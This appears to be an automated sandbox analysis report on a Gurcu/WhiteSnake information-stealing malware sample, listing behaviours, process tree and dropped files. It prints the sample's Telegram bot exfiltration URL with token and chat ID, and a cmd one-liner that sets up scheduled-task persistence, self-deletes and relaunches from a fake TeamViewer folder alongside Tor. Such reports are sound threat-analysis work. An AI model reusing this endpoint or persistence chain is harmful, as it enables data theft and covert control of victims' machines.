Analysis
- max time kernel
25s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20230831-en - resource tags
- submitted
14/09/2023, 09:55
General
- Target x19a4f9f3d16fcc9779ba8ea79bf7.exe
- Size 392KB
- Sample230914-lxrcvsbc41
- SHA256 c3439dd56bcf3921cdbfcbdff3f928d14ebd632b3411235657bf9f5452c1ab9d
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643
Signatures
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\x19a4f9f3d16fcc9779ba8ea79bf7.exe"C:\Users\Admin\AppData\Local\Temp\x19a4f9f3d16fcc9779ba8ea79bf7.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "x19a4f9f3d16fcc9779ba8ea79bf7" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\x19a4f9f3d16fcc9779ba8ea79bf7.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\schtasks.exeschtasks /create /tn "x19a4f9f3d16fcc9779ba8ea79bf7" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe"C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
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C:\Windows\System32\tar.exe"C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmpB66F.tmp" -C "C:\Users\Admin\AppData\Local\xtioxntk7k"4⤵
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C:\Users\Admin\AppData\Local\xtioxntk7k\tor\tor.exe"C:\Users\Admin\AppData\Local\xtioxntk7k\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\xtioxntk7k\torrc.txt"4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exeC:\Users\Admin\AppData\Local\TeamViewer\x19a4f9f3d16fcc9779ba8ea79bf7.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\xtioxntk7k\tor\tor.exe"C:\Users\Admin\AppData\Local\xtioxntk7k\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\xtioxntk7k\torrc.txt"2⤵
- Executes dropped EXE
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 460 -p 1688 -ip 16881⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
x19a4f9f3d16fcc9779ba8ea79bf7.exe.log
x19a4f9f3d16fcc9779ba8ea79bf7.exe
x19a4f9f3d16fcc9779ba8ea79bf7.exe
x19a4f9f3d16fcc9779ba8ea79bf7.exe
tmpB66F.tmp
cached-microdesc-consensus.tmp
cached-microdescs.new
hostname
port.dat
tor.exe
tor.exe
tor.exe
torrc.txt
memory/1688-69-0x0000013E6C160000-0x0000013E6C170000-memory.dmp
memory/1688-56-0x00007FF8A3550000-0x00007FF8A4011000-memory.dmp
memory/4428-40-0x00007FF8A3550000-0x00007FF8A4011000-memory.dmp
memory/4428-49-0x000001EADCFE0000-0x000001EADCFF0000-memory.dmp
memory/4428-12-0x000001EADCFE0000-0x000001EADCFF0000-memory.dmp
memory/4428-11-0x00007FF8A3550000-0x00007FF8A4011000-memory.dmp
memory/5040-0-0x000001E079BF0000-0x000001E079C58000-memory.dmp
memory/5040-1-0x00007FF8A3550000-0x00007FF8A4011000-memory.dmp
memory/5040-6-0x00007FF8A3550000-0x00007FF8A4011000-memory.dmp
memory/5040-2-0x000001E07C1B0000-0x000001E07C1C0000-memory.dmp